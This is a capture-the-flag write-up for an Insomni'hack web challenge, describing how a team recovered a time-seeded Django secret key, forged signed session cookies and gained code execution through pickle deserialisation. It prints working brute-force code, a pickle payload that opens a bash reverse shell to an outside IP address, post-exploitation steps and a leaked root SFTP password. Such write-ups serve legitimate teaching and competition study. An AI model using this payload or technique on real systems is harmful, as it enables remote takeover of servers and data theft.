Do you like guessing? Love, even? Oh boy, do I have a challenge for you.
This random secret key generator is used to sign covid certificates issued from the Hopytal laboratory.
Its behavior seems strange.. the alphabet must be printable.
Valid 2G+ certificates may be present on the server.
Dirbusting is not needed to solve the challenge.
First, you have to guess the algorithm used by the random key generator. After trying and failing multiple times, we guessed correctly:
def deterministic_key(seed):
CHARSET = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation
random.seed(seed)
out = ""
for i in range(50):
out += random.choice(CHARSET)
return out
There's nothing to suggest this in the description or on the webpage, so it was a long shot.
Now, you have to guess that the django secret was generated using the same brokem algorithm. But how to check it?
You can get a valid session ID by going to
http://hopytal.insomnihack.ch/accounts/login/?next=/login
with invalid sessionid (Why? I don't know, it was discovered by web people).
def get_session_id():
r = requests.get("http://hopytal.insomnihack.ch/accounts/login/?next=/login", cookies={"sessionid":"asdasdasdasd"})
o = r.cookies["sessionid"]
return o
This will give a session ID like
gAUplC4:1nDwUa:bGjgxwu5sOyd8CZWX0jbejGIXjxylHQjQELbXWvoFf4
Of course with this you can also check if you have a valid secret, using django's unsigner:
def unsign(payload, key):
key = force_bytes(key)
salt = 'django.contrib.sessions.backends.signed_cookies'
try:
TimestampSigner(key=key,salt=salt, algorithm='sha256').unsign(payload, max_age=200000000)
return True
except BadSignature as e:
return False
Finally you can combine this and brute-force the secret:
SEED = int(time.time())
sid = get_session_id()
print(sid)
while True:
SEED = SEED - 1
if SEED % 1000 == 0:
print(datetime.datetime.fromtimestamp(SEED))
key = deterministic_key(SEED)
if SEED % 1000 == 0:
print(rrr)
if unsign(sid, key):
print(key, sid, unsign(sid, key))
break
Warning - this will take a long time. Instead of brute-forcing maybe 2-3 days, I was close to giving up after 6 months. Fortunately, one of our teammembers guessed that since
This random secret key generator is used to sign covid certificates issued from the Hopytal laboratory.
We should bruteforce on the day of first COVID case in Switzerland. Yeah, that worked. For seed 1582585200 (Monday, February 24, 2020 23:00:00). The secret key is:
^vAmq'D*[i3,J+5S(XCUDd2yLlE<5tgtDY$$fVAl.}!sSocr8}
Now I'll save us some embarassment and won't describe the incorrect guesses we made here.
Instead, we finally observed guessed that django uses
non-default serialisation engine:
>>> session_id = "gAV9lC4:1nDwjx:VyNh0cUKcNH49UZd6a_ePSAyGGm274XHwKqvHMCti7g"
>>> session_data = base64.b64decode("gAV9lC4==")
>>> pickle.loads(session_data)
{}
Yeah, pickle.
So we get a RCE with some nice python object:
class RCE:
def __reduce__(self):
cmd = ('/bin/bash -c \'/bin/bash -i >& /dev/tcp/12.93.211.51/4446 0>&1\'')
return os.system, (cmd,)
pickled = pickle.dumps(RCE())
And... No, that's not over yet.
Because now you have to guess where the flag is.
And the server had almost no binaries. Only bash and python.
So first, we had to upload a statically busybox
(with python) and
chmod it (with python).
Then we downloaded the application source code, but there was literally nothing interesting in there.
Then the server crashed for everyone (there was only one server, and it was shared with everyone, and the challenge had RCE).
Then we found a file /home/http_service/covidcert_2g+.pdf
, but had
no permission to read it (and no way to escalate).
Then we found a SFTP config
"host": "172.21.2.105",
"user": "root",
"password": "Pass.123",
"port": "22",
and after wasting a lot of time trying to connect there with busybox, it turned out to be a false flag.
Then we found a flag INS{yOu_g0t_th3_piCkl3}
in a random file in /tmp
,
and it turned out to be a troll/joke by some other team
(the infra was shared).
Than we guessed, that maybe there'ss another internal network service that listens only on 127.0.0.1:
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 6469/dropbearmulti
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 4794/dropbearmulti
tcp 0 0 127.0.0.1:8087 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 13/python
Yeah, that port 8087 is sus. We just uploded a statically compiled curl and...
/tmp/curl localhost:8087
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href=".bash_logout">.bash_logout</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".profile">.profile</a></li>
<li><a href="covidcert_2g%2B.pdf">covidcert_2g+.pdf</a></li>
<li><a href="http.sh">http.sh</a></li>
</ul>
<hr>
</body>
And finally:
$ /tmp/curl localhost:8087/covidcert_2g%2B.pdf
/tmp/curl localhost:8087/covidcert_2g%2B.pdf
INS{I_4m_Pickl3_R1ck!_4nD_h3r3_1s_Ur_2G+_c0v1d_C3rT}
I have no idea, why this had to be so complicated. The first step was pure clairvoyance, and a few last steps was just burning time.
But what do I know, usually I work on RE or Crypto. Webs are just not my favourite category,
I guess.